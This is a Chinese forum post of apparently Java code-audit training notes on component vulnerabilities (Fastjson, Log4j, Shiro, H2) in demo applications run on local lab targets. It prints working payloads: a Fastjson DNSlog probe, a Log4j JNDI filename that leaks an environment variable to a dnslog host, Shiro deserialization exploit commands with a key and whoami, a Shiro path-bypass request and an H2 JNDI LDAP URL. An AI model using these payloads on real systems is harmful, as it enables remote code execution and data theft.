DAY120java审计第三方组件&依赖库挖掘&Fastjson&Shiro&Log4j&H2DB ...

锦通  金牌会员 | 2024-11-17 23:40:15 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 892|帖子 892|积分 2676

组件漏洞判定插件




一、Tmall_demo-master(fastjson

1、配置文件查找安装组件


1、JSON.parse(json)
2、JSON.parseObject
2、找可控的变量



3、利用组件漏洞


   poc:propertyJson={"@type":"java.net.Inet4Address","val":"233997ee.log.dnslog.sbs"}
  

二、Tmall_demo-master(Log4j)


logger.error,logger.info函数触发
1、配置文件查找安装组件




session不可控
2、寻找可控变量


originalFileName从file.getOriginalFilename获取文件名

修改文件名利用漏洞

Poc:filename="${jndi:ldap://${env:OS}.7ffb7b28.log.dnslog.sbs}"



3、Jndi


失败

版本不在区间




三、RuoYi-v4.2(shrio版本漏洞)

/docs;/../admin/
1、密钥setCipherKey


python shiro-exploit.py check -u http://127.0.0.1

2、利用链

python shiro-exploit.py echo -g CommonsCollectionsK1 -u http://127.0.0.1 -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

3、shiro漏洞绕过拦截器


4、/css;/../common/download利用漏洞shiro




GET /css;/../common/download HTTP/1.1

四、halo-0.4.3(h2database)

1、环境配置进入后台



2、访问h2database


javax.naming.InitialContext
ldap://192.168.93.1:1389/9nbcm6



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

锦通

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表